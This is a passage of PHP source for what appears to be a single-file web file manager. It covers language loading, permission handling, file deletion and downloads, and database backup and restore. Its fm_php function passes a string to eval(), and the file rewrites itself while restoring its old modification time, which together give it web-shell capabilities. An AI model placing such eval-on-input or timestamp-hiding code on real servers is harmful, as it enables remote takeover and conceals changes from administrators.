($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' ?? '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '